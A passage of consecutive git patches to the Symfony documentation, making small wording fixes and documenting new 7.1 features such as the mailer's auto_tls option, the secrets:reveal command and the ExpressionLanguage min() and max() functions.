-.. caution::
-
-    The ``SYMFONY_DOTENV_PATH`` environment variable must be defined at the
-    system level (e.g. in your web server configuration) and not in any default
-    or custom ``.env`` file.
-
 .. versionadded:: 7.1
 
     The ``SYMFONY_DOTENV_PATH`` environment variable was introduced in Symfony 7.1.

From 3af1d260a819d77675d4628e0e4cccd338d72179 Mon Sep 17 00:00:00 2001
From: jordanjix <leroyjordan@me.com>
Date: Sat, 27 Jan 2024 09:16:20 +0100
Subject: [PATCH 5739/7107] Update doctrine.rst

Replace fetchAll() by fetchAllAssociative() method.
---
 reference/configuration/doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index c49122575a0..ad6d89195cd 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -158,7 +158,7 @@ you can access it using the ``getConnection()`` method and the name of the conne
         public function someMethod(ManagerRegistry $doctrine)
         {
             $connection = $doctrine->getConnection('customer');
-            $result = $connection->fetchAll('SELECT name FROM customer');
+            $result = $connection->fetchAllAssociative('SELECT name FROM customer');
 
             // ...
         }

From 4f89a00876332910631160547fc161291067b4e3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 26 Jan 2024 17:24:33 +0100
Subject: [PATCH 5740/7107] [Frontend] Mention configureBabelPresetEnv()

---
 frontend/encore/babel.rst | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)

diff --git a/frontend/encore/babel.rst b/frontend/encore/babel.rst
index 95ba6086913..133559b1a0d 100644
--- a/frontend/encore/babel.rst
+++ b/frontend/encore/babel.rst
@@ -49,6 +49,23 @@ cache directory:
     # On Unix run this command. On Windows, clear this directory manually
     $ rm -rf node_modules/.cache/babel-loader/
 
+If you want to customize the ``preset-env`` configuration, use the ``configureBabelPresetEnv()``
+method to add any of the `@babel/preset-env configuration options`_:
+
+.. code-block:: javascript
+
+    // webpack.config.js
+    // ...
+
+    Encore
+        // ...
+
+        .configureBabelPresetEnv((config) => {
+            config.useBuiltIns = 'usage';
+            config.corejs = 3;
+        })
+    ;
+
 Creating a ``.babelrc`` File
 ----------------------------
 
@@ -63,3 +80,4 @@ As soon as a ``.babelrc`` file is present, it will take priority over the Babel
 configuration added by Encore.
 
 .. _`Babel`: https://babeljs.io/
+.. _`@babel/preset-env configuration options`: https://babeljs.io/docs/babel-preset-env

From 8564b92b022f2ce0e4b8282d4f0b7b1117e54bf7 Mon Sep 17 00:00:00 2001
From: Bartosz Tomczak <bosslog@gmail.com>
Date: Sat, 27 Jan 2024 14:34:27 +0100
Subject: [PATCH 5741/7107] [Messenger] Add caution message about messenger
 consume command and profiler

---
 console.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/console.rst b/console.rst
index ce8d86bef37..4ebca0fcc7e 100644
--- a/console.rst
+++ b/console.rst
@@ -641,6 +641,14 @@ profile is accessible through the web page of the profiler.
     terminal supports links). If you run it in debug verbosity (``-vvv``) you'll
     also see the time and memory consumed by the command.
 
+.. caution::
+
+    If you use Messenger component and want to profile the ``messenger:consume``
+    command please be aware that it will only create the profile only when
+    running with the ``--no-reset`` option. Moreover, you should consider using
+    the ``--limit`` option to only process one or few messages and let the command
+    finish on it's own. This can make the Performance tab of the profile more readable.
+
 .. versionadded:: 6.4
 
     The ``--profile`` option was introduced in Symfony 6.4.

From eeaa281c16213a20002e29f1589cce3e2e11b4a3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 29 Jan 2024 13:09:15 +0100
Subject: [PATCH 5742/7107] Minor reword

---
 console.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/console.rst b/console.rst
index 4ebca0fcc7e..867e345984c 100644
--- a/console.rst
+++ b/console.rst
@@ -643,11 +643,10 @@ profile is accessible through the web page of the profiler.
 
 .. caution::
 
-    If you use Messenger component and want to profile the ``messenger:consume``
-    command please be aware that it will only create the profile only when
-    running with the ``--no-reset`` option. Moreover, you should consider using
-    the ``--limit`` option to only process one or few messages and let the command
-    finish on it's own. This can make the Performance tab of the profile more readable.
+    When profiling the ``messenger:consume`` command from the :doc:`Messenger </messenger>`
+    component, add the ``--no-reset`` option to the command or you won't get any
+    profile. Moreover, consider using the ``--limit`` option to only process a few
+    messages to make the profile more readable in the profiler.
 
 .. versionadded:: 6.4
 

From 4897c25304364c214b67dd5b629e83b8c098e372 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 30 Jan 2024 16:23:06 +0100
Subject: [PATCH 5743/7107] [AssetMapper] Adding `{% block importmap %}` in
 v6.4

Same as https://github.com/symfony/symfony-docs/pull/19466 but now on the right branch :-)
---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 6ce899d9767..7e745f0cb8e 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -48,7 +48,7 @@ It also *updated* the ``templates/base.html.twig`` file:
 .. code-block:: diff
 
     {% block javascripts %}
-    +    {{ importmap('app') }}
+    +    {% block importmap %}{{ importmap('app') }}{% endblock %}
     {% endblock %}
 
 If you're not using Flex, you'll need to create & update these files manually. See

From 48111fbaaf99fb2ebf91c59bb5a8132dfc451d4f Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@symfonycasts.com>
Date: Mon, 29 Jan 2024 09:37:08 -0500
Subject: [PATCH 5744/7107] minor tweaks to setup related to the symfony cli

---
 setup.rst | 18 ++++++++++--------
 1 file changed, 10 insertions(+), 8 deletions(-)

diff --git a/setup.rst b/setup.rst
index 9b7620d4164..11a443f44e1 100644
--- a/setup.rst
+++ b/setup.rst
@@ -20,9 +20,11 @@ Before creating your first Symfony application you must:
 
 * `Install Composer`_, which is used to install PHP packages.
 
-Optionally, you can also `install Symfony CLI`_. This creates a binary called
-``symfony`` that provides all the tools you need to develop and run your
-Symfony application locally.
+.. _setup-symfony-cli:
+
+Also, `install the Symfony CLI`_. This is optional, but it gives you a
+helpful binary called ``symfony`` that provides all tools you need to
+develop and run your Symfony application locally.
 
 The ``symfony`` binary also provides a tool to check if your computer meets all
 requirements. Open your console terminal and run this command:
@@ -53,8 +55,8 @@ application:
     $ symfony new my_project_directory --version=5.4
 
 The only difference between these two commands is the number of packages
-installed by default. The ``--webapp`` option installs all the packages that you
-usually need to build web applications, so the installation size will be bigger.
+installed by default. The ``--webapp`` option installs extra packages to give
+you everything you need to build a web application.
 
 If you're not using the Symfony binary, run these commands to create the new
 Symfony application using Composer:
@@ -227,8 +229,8 @@ require --no-unpack ...`` option to disable unpacking.
 Checking Security Vulnerabilities
 ---------------------------------
 
-The ``symfony`` binary created when you `install Symfony CLI`_ provides a command
-to check whether your project's dependencies contain any known security
+The ``symfony`` binary created when you installed the :ref:`Symfony CLI <setup-symfony-cli>`
+provides a command to check whether your project's dependencies contain any known security
 vulnerability:
 
 .. code-block:: terminal
@@ -312,7 +314,7 @@ Learn More
 
 .. _`Stellar Development with Symfony`: https://symfonycasts.com/screencast/symfony
 .. _`Install Composer`: https://getcomposer.org/download/
-.. _`install Symfony CLI`: https://symfony.com/download
+.. _`install the Symfony CLI`: https://symfony.com/download
 .. _`symfony-cli/symfony-cli GitHub repository`: https://github.com/symfony-cli/symfony-cli
 .. _`The Symfony Demo Application`: https://github.com/symfony/demo
 .. _`Symfony Flex`: https://github.com/symfony/flex

From 076079d278620da1c90b35a8b31ca87dbb2d71f0 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 28 Jan 2024 21:27:23 +0100
Subject: [PATCH 5745/7107] [Frontend] Adding info about comments

---
 frontend.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/frontend.rst b/frontend.rst
index b27c0c7fb88..6817222f270 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -34,6 +34,8 @@ Supports `Stimulus/UX`_           yes                                 yes
 Supports Sass/Tailwind            :ref:`yes <asset-mapper-tailwind>`  yes
 Supports React, Vue, Svelte?      yes :ref:`[1] <ux-note-1>`          yes
 Supports TypeScript               :ref:`yes <asset-mapper-ts>`        yes
+Removes comments from JavaScript  no                                  yes
+Removes comments from CSS         no                                  no :ref:`[2] <ux-note-2>`
 Versioned assets                  always                              optional
 ================================  ==================================  ==========
 
@@ -44,6 +46,10 @@ need to use their native tools for pre-compilation. Also, some features (like
 Vue single-file components) cannot be compiled down to pure JavaScript that can
 be executed by a browser.
 
+.. _ux-note-2:
+
+**[2]** There are plugins available to remove comments from CSS files.
+
 .. _frontend-asset-mapper:
 
 AssetMapper (Recommended)

From a4025177f8803fcdf8765093bc161247942ed142 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 30 Jan 2024 17:32:40 +0100
Subject: [PATCH 5746/7107] Minor tweak

---
 frontend.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend.rst b/frontend.rst
index 6817222f270..f250825fcb4 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -48,7 +48,7 @@ be executed by a browser.
 
 .. _ux-note-2:
 
-**[2]** There are plugins available to remove comments from CSS files.
+**[2]** There are some PostCSS plugins available to remove comments from CSS files.
 
 .. _frontend-asset-mapper:
 

From ead19d00068fc1a6f22431cf3e71bc452dbc4248 Mon Sep 17 00:00:00 2001
From: Radoslaw Kowalewski <git@srsbiz.pl>
Date: Tue, 30 Jan 2024 20:36:30 +0100
Subject: [PATCH 5747/7107] [Mailer][Smtp] Document 'auto_tls' param

---
 mailer.rst | 24 ++++++++++++++++++++++++
 1 file changed, 24 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 07f341cf508..cf17a55a6e2 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -347,6 +347,30 @@ may be specified as SHA1 or MD5 hash::
 
     $dsn = 'smtp://user:pass@smtp.example.com?peer_fingerprint=6A1CF3B08D175A284C30BC10DE19162307C7286E';
 
+Disabling automatic TLS
+~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 7.1
+
+    Disabling automatic TLS was introduced in Symfony 7.1.
+
+By default, mailer will check if OpenSSL extension is enabled and if SMTP server
+is capable of STARTTLS, it will issue this command to enable encryption on stream.
+This behavior can be turned off by calling ``setAutoTls(false)`` on ``EsmtpTransport``
+instance, or by setting ``auto_tls`` option in DSN::
+
+    $dsn = 'smtp://user:pass@10.0.0.25?auto_tls=false';
+
+.. caution::
+
+    It's not recommended to disable TLS while connecting to SMTP server over
+    internet, but it can be useful when both application and SMTP server are in
+    secured network, where there is no need for additional encryption.
+
+.. note::
+
+    This setting works only when ``smtp://`` protocol is used.
+
 Overriding default SMTP authenticators
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 883e3a90d9d5f2af4ad51194308295cdf41ad769 Mon Sep 17 00:00:00 2001
From: Exalyon <Exalyon@users.noreply.github.com>
Date: Tue, 30 Jan 2024 20:48:09 +0100
Subject: [PATCH 5748/7107] Update service_decoration.rst

Fix code example to have attribute above property declaration
---
 service_container/service_decoration.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 8a9ac1322f2..2f561b4c444 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -301,7 +301,8 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
             class Bar
             {
                 public function __construct(
-                    private #[AutowireDecorated] $inner,
+                    #[AutowireDecorated]
+                    private $inner,
                 ) {
                 }
                 // ...
@@ -311,7 +312,8 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
             class Baz
             {
                 public function __construct(
-                    private #[AutowireDecorated] $inner,
+                    #[AutowireDecorated]
+                    private $inner,
                 ) {
                 }
 

From 1fe0c4e8e0e96d94f41bb3d701a5362b9e573f32 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 30 Jan 2024 23:41:31 +0100
Subject: [PATCH 5749/7107] [AssetMapper] Fixing path

If the section starts with the pagerfanta CSS, it should use it throughout... :-)
---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 7e745f0cb8e..acb94fdb7b7 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -875,7 +875,7 @@ file:
         asset_mapper:
             paths:
                 - assets/
-                - vendor/some/package/assets
+                - vendor/babdev/pagerfanta-bundle/Resources/public/css/
 
 Then try the command again.
 

From c34a612a3ed938ffd8aae847507221504a199366 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 31 Jan 2024 10:13:25 +0100
Subject: [PATCH 5750/7107] Minor tweak

---
 mailer.rst | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index cf17a55a6e2..8f48bd355fa 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -347,29 +347,29 @@ may be specified as SHA1 or MD5 hash::
 
     $dsn = 'smtp://user:pass@smtp.example.com?peer_fingerprint=6A1CF3B08D175A284C30BC10DE19162307C7286E';
 
-Disabling automatic TLS
+Disabling Automatic TLS
 ~~~~~~~~~~~~~~~~~~~~~~~
 
 .. versionadded:: 7.1
 
-    Disabling automatic TLS was introduced in Symfony 7.1.
+    The option to disable automatic TLS was introduced in Symfony 7.1.
 
-By default, mailer will check if OpenSSL extension is enabled and if SMTP server
-is capable of STARTTLS, it will issue this command to enable encryption on stream.
-This behavior can be turned off by calling ``setAutoTls(false)`` on ``EsmtpTransport``
-instance, or by setting ``auto_tls`` option in DSN::
+By default, the Mailer component will use encryption when the OpenSSL extension
+is enabled and the SMTP server supports ``STARTTLS``. This behavior can be turned
+off by calling ``setAutoTls(false)`` on the ``EsmtpTransport`` instance, or by
+setting the ``auto_tls`` option to ``false`` in the DSN::
 
     $dsn = 'smtp://user:pass@10.0.0.25?auto_tls=false';
 
 .. caution::
 
-    It's not recommended to disable TLS while connecting to SMTP server over
-    internet, but it can be useful when both application and SMTP server are in
-    secured network, where there is no need for additional encryption.
+    It's not recommended to disable TLS while connecting to an SMTP server over
+    the Internet, but it can be useful when both the application and the SMTP
+    server are in a secured network, where there is no need for additional encryption.
 
 .. note::
 
-    This setting works only when ``smtp://`` protocol is used.
+    This setting only works when the ``smtp://`` protocol is used.
 
 Overriding default SMTP authenticators
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From b97c890d7703fec20735aacd3c7d4c2dc1fc1193 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 31 Jan 2024 22:44:02 +0100
Subject: [PATCH 5751/7107] [Frontend] Some smaller updates

* **Please move this page out of the `/encore/` structure!** This is general info that also applies to *any* JavaScript.
* I removed jQuery cause I think it shouldn't be advertised anymore today.
---
 frontend/encore/server-data.rst | 22 +++++++++-------------
 1 file changed, 9 insertions(+), 13 deletions(-)

diff --git a/frontend/encore/server-data.rst b/frontend/encore/server-data.rst
index 46492700923..3feff856c52 100644
--- a/frontend/encore/server-data.rst
+++ b/frontend/encore/server-data.rst
@@ -1,9 +1,9 @@
-Passing Information from Twig to JavaScript with Webpack Encore
-===============================================================
+Passing Information from Twig to JavaScript
+===========================================
 
 In Symfony applications, you may find that you need to pass some dynamic data
 (e.g. user information) from Twig to your JavaScript code. One great way to pass
-dynamic configuration is by storing information in ``data`` attributes and reading
+dynamic configuration is by storing information in ``data-*`` attributes and reading
 them later in JavaScript. For example:
 
 .. code-block:: html+twig
@@ -20,22 +20,18 @@ Fetch this in JavaScript:
 .. code-block:: javascript
 
     document.addEventListener('DOMContentLoaded', function() {
-        var userRating = document.querySelector('.js-user-rating');
-        var isAuthenticated = userRating.dataset.isAuthenticated;
-        var user = JSON.parse(userRating.dataset.user);
-
-        // or with jQuery
-        //var isAuthenticated = $('.js-user-rating').data('isAuthenticated');
+        const userRating = document.querySelector('.js-user-rating');
+        const isAuthenticated = userRating.dataset.isAuthenticated;
+        const user = JSON.parse(userRating.dataset.user);
     });
 
 .. note::
 
     When `accessing data attributes from JavaScript`_, the attribute names are
-    converted from dash-style to camelCase. For example, ``data-is-authenticated``
-    becomes ``isAuthenticated`` and ``data-number-of-reviews`` becomes
-    ``numberOfReviews``.
+    converted from dash-style to camelCase. For example, ``data-number-of-reviews`` becomes
+    ``dataset.numberOfReviews``.
 
-There is no size limit for the value of the ``data-`` attributes, so you can
+There is no size limit for the value of the ``data-*`` attributes, so you can
 store any content. In Twig, use the ``html_attr`` escaping strategy to avoid messing
 with HTML attributes. For example, if your ``User`` object has some ``getProfileData()``
 method that returns an array, you could do the following:

From 7e70c6689091e4fd5b4f0f2830c09462b4616bd0 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 1 Feb 2024 17:47:44 +0100
Subject: [PATCH 5752/7107] [Frontend] Adding link to PostCSS

---
 frontend.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/frontend.rst b/frontend.rst
index f250825fcb4..5e5be0fb35a 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -48,7 +48,7 @@ be executed by a browser.
 
 .. _ux-note-2:
 
-**[2]** There are some PostCSS plugins available to remove comments from CSS files.
+**[2]** There are some `PostCSS`_ plugins available to remove comments from CSS files.
 
 .. _frontend-asset-mapper:
 
@@ -115,3 +115,4 @@ Other Front-End Articles
 .. _Turbo: https://turbo.hotwired.dev/
 .. _Symfony UX: https://ux.symfony.com
 .. _API Platform: https://api-platform.com/
+.. _PostCSS: https://postcss.org/

From b197c64d85bca794f38c7b78bfa6cbb45577967f Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 1 Feb 2024 20:25:37 +0100
Subject: [PATCH 5753/7107] [AssetMapper] Clarifying `importmap_polyfill`

Info and some wording is taken from https://github.com/symfony/symfony/issues/53726#issuecomment-1922008240
---
 frontend/asset_mapper.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index acb94fdb7b7..fa2050561d8 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -959,15 +959,16 @@ This option is enabled by default.
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Configure the polyfill for older browsers. By default, the `ES module shim`_ is loaded
-via a CDN. You can pass the key of an item in ``importmap.php`` or ``false`` to disable
-the polyfill loading.
+via a CDN (i.e. the default value for this setting is `es-module-shims`).
+To use a custom polyfill, pass the key of an item in ``importmap.php``.
+To disable the polyfill, pass ``false``.
 
 .. code-block:: yaml
 
     framework:
         asset_mapper:
             importmap_polyfill: false # disable the shim ...
-            # importmap_polyfill: 'my_import_map' # ... or pass an importmap name
+            # importmap_polyfill: 'custom_polyfill' # ... or pass a key in your importmap.php file
 
 .. tip::
 

From afc9f16c2dc5c019e6312b7341e0589b98df663f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 2 Feb 2024 09:10:50 +0100
Subject: [PATCH 5754/7107] Minor tweak

---
 frontend.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/frontend.rst b/frontend.rst
index 5e5be0fb35a..15fc5994aba 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -109,10 +109,10 @@ Other Front-End Articles
 .. _`Webpack`: https://webpack.js.org/
 .. _`Node.js`: https://nodejs.org/
 .. _`Webpack Encore screencast series`: https://symfonycasts.com/screencast/webpack-encore
-.. _StimulusBundle Documentation: https://symfony.com/bundles/StimulusBundle/current/index.html
-.. _Stimulus/UX: https://symfony.com/bundles/StimulusBundle/current/index.html
-.. _Stimulus: https://stimulus.hotwired.dev/
-.. _Turbo: https://turbo.hotwired.dev/
-.. _Symfony UX: https://ux.symfony.com
-.. _API Platform: https://api-platform.com/
-.. _PostCSS: https://postcss.org/
+.. _`StimulusBundle Documentation`: https://symfony.com/bundles/StimulusBundle/current/index.html
+.. _`Stimulus/UX`: https://symfony.com/bundles/StimulusBundle/current/index.html
+.. _`Stimulus`: https://stimulus.hotwired.dev/
+.. _`Turbo`: https://turbo.hotwired.dev/
+.. _`Symfony UX`: https://ux.symfony.com
+.. _`API Platform`: https://api-platform.com/
+.. _`PostCSS`: https://postcss.org/

From fdd2362d117f5496ab1f2e1c076d2fcb1bccf0d5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 2 Feb 2024 09:14:36 +0100
Subject: [PATCH 5755/7107] Reword

---
 frontend/asset_mapper.rst | 13 ++++++++-----
 1 file changed, 8 insertions(+), 5 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index fa2050561d8..0a94b17bbc3 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -959,16 +959,19 @@ This option is enabled by default.
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Configure the polyfill for older browsers. By default, the `ES module shim`_ is loaded
-via a CDN (i.e. the default value for this setting is `es-module-shims`).
-To use a custom polyfill, pass the key of an item in ``importmap.php``.
-To disable the polyfill, pass ``false``.
+via a CDN (i.e. the default value for this setting is `es-module-shims`):
 
 .. code-block:: yaml
 
     framework:
         asset_mapper:
-            importmap_polyfill: false # disable the shim ...
-            # importmap_polyfill: 'custom_polyfill' # ... or pass a key in your importmap.php file
+            # set this option to false to disable the shim entirely
+            # (your website/web app won't work in old browsers)
+            importmap_polyfill: false
+
+            # you can also use a custom polyfill by adding it to your importmap.php file
+            # and setting this option to the key of that file in the importmap.php file
+            # importmap_polyfill: 'custom_polyfill'
 
 .. tip::
 

From 3b6a7a5e87231adf43c1b735e5494671b871f577 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 2 Feb 2024 21:48:11 +0100
Subject: [PATCH 5756/7107] [Security] Minor rewording

"may create" sounds like "you're free to create..."
---
 reference/configuration/security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index cb09bddae91..ce61a92389e 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -302,7 +302,7 @@ is set to ``true``) when they try to access a protected resource but aren't
 fully authenticated.
 
 This path **must** be accessible by a normal, unauthenticated user, else
-you may create a redirect loop.
+you might create a redirect loop.
 
 check_path
 ..........

From 5495c1d47846e784ad0f5e7066d39d4db1385798 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Szymon=20Kami=C5=84ski?= <kaminskisj@gmail.com>
Date: Sat, 3 Feb 2024 14:59:16 +0100
Subject: [PATCH 5757/7107] [Serializer] Document DateTimeNormalizer::CAST_KEY
 context option

---
 components/serializer.rst | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index dce30b8932b..0dbd223877d 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -820,8 +820,14 @@ The Serializer component provides several built-in normalizers:
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer`
     This normalizer converts :phpclass:`DateTimeInterface` objects (e.g.
-    :phpclass:`DateTime` and :phpclass:`DateTimeImmutable`) into strings.
-    By default, it uses the `RFC3339`_ format.
+    :phpclass:`DateTime` and :phpclass:`DateTimeImmutable`) into strings,
+    integers or floats. By default, it converts them to strings using the `RFC3339`_ format.
+    To convert the objects to integers or floats, set the serializer context option
+    ``DateTimeNormalizer::CAST_KEY`` to ``int`` or ``float``.
+
+.. versionadded:: 7.1
+
+    ``DateTimeNormalizer::CAST_KEY`` context option was introduced in Symfony 7.1.
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer`
     This normalizer converts :phpclass:`DateTimeZone` objects into strings that

From 7edd5d171de559b4fa471a961c3a8b5e6143978c Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 4 Feb 2024 20:45:39 +0100
Subject: [PATCH 5758/7107] [ExpressionLanguage] Add min and max php functions

---
 reference/formats/expression_language.rst | 28 +++++++++++++++++++++++
 1 file changed, 28 insertions(+)

diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index 6c9b1bffe42..9a3e78ef485 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -120,6 +120,8 @@ following functions by default:
 
 * ``constant()``
 * ``enum()``
+* ``min()``
+* ``max()``
 
 ``constant()`` function
 ~~~~~~~~~~~~~~~~~~~~~~~
@@ -167,6 +169,32 @@ This function will return the case of an enumeration::
 
 This will print out ``true``.
 
+``min()`` function
+~~~~~~~~~~~~~~~~~~
+
+This function will return the lowest value::
+
+    var_dump($expressionLanguage->evaluate(
+        'min(1, 2, 3)'
+    ));
+
+This will print out ``1``.
+
+``max()`` function
+~~~~~~~~~~~~~~~~~~
+
+This function will return the highest value::
+
+    var_dump($expressionLanguage->evaluate(
+        'max(1, 2, 3)'
+    ));
+
+This will print out ``3``.
+
+.. versionadded:: 7.1
+
+    The ``min()`` and ``max()`` functions were introduced in Symfony 7.1.
+
 .. tip::
 
     To read how to register your own functions to use in an expression, see

From ff7350028574a6585ff666f884b9fa882437f855 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 4 Feb 2024 20:52:37 +0100
Subject: [PATCH 5759/7107] [Mailer][Webhook] Mailersend webhook remote event

---
 webhook.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/webhook.rst b/webhook.rst
index e423a55e524..0e975860055 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -20,20 +20,21 @@ receive webhook calls from this provider.
 
 Currently, the following third-party mailer providers support webhooks:
 
-============== ==========================================
+============== ============================================
 Mailer Service Parser service name
-============== ==========================================
+============== ============================================
 Brevo          ``mailer.webhook.request_parser.brevo``
+MailerSend     ``mailer.webhook.request_parser.mailersend``
 Mailgun        ``mailer.webhook.request_parser.mailgun``
 Mailjet        ``mailer.webhook.request_parser.mailjet``
 Postmark       ``mailer.webhook.request_parser.postmark``
 Resend         ``mailer.webhook.request_parser.resend``
 Sendgrid       ``mailer.webhook.request_parser.sendgrid``
-============== ==========================================
+============== ============================================
 
 .. versionadded:: 7.1
 
-    The support for Resend was introduced in Symfony 7.1.
+    The support for ``Resend`` and ``MailerSend`` were introduced in Symfony 7.1.
 
 .. note::
 

From 22ad2d951a2e899f89fe5af4f8078f2de5b2e466 Mon Sep 17 00:00:00 2001
From: Daniel Burger <48986191+danielburger1337@users.noreply.github.com>
Date: Sat, 3 Feb 2024 14:26:00 +0100
Subject: [PATCH 5760/7107] Document `secrets:reveal` command

---
 configuration/secrets.rst | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index 653bd92f611..089f7da2892 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -166,6 +166,22 @@ secrets' values by passing the ``--reveal`` option:
       DATABASE_PASSWORD   "my secret"
      ------------------- ------------ -------------
 
+Reveal Existing Secrets
+-----------------------
+
+If you have the **decryption key**, the ``secrets:reveal`` command allows
+you to reveal a single secrets value.
+
+.. code-block:: terminal
+
+    $ php bin/console secrets:reveal DATABASE_PASSWORD
+
+     my secret
+
+.. versionadded:: 7.1
+
+    The ``secrets:reveal`` command was introduced in Symfony 7.1.
+
 Remove Secrets
 --------------
 

From d22ad24c30b338244566646729cfbaf58bfbb80e Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 4 Feb 2024 21:33:12 +0100
Subject: [PATCH 5761/7107] [Validator] Add additional versions (*_NO_PUBLIC,
 *_ONLY_PRIV & *_ONLY_RES) in IP address & CIDR constraint

---
 reference/constraints/Cidr.rst |  8 ++++----
 reference/constraints/Ip.rst   | 34 ++++++++++++++++++++++++++++++++++
 2 files changed, 38 insertions(+), 4 deletions(-)

diff --git a/reference/constraints/Cidr.rst b/reference/constraints/Cidr.rst
index d7bc9e6b4a0..24abeb57338 100644
--- a/reference/constraints/Cidr.rst
+++ b/reference/constraints/Cidr.rst
@@ -124,10 +124,10 @@ Parameter        Description
 **type**: ``string`` **default**: ``all``
 
 This determines exactly *how* the CIDR notation is validated and can take one
-of these values:
+of :ref:`IP version ranges <reference-constraint-ip-version>`.
 
-* ``4``: validates for CIDR notations that have an IPv4;
-* ``6``: validates for CIDR notations that have an IPv6;
-* ``all``: validates all CIDR formats.
+.. versionadded:: 7.1
+
+    The support of all IP version ranges was introduced in Symfony 7.1.
 
 .. _`CIDR`: https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing
diff --git a/reference/constraints/Ip.rst b/reference/constraints/Ip.rst
index 2f05f677601..9168d463f77 100644
--- a/reference/constraints/Ip.rst
+++ b/reference/constraints/Ip.rst
@@ -97,6 +97,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
+.. _reference-constraint-ip-version:
+
 ``version``
 ~~~~~~~~~~~
 
@@ -132,6 +134,33 @@ of a variety of different values:
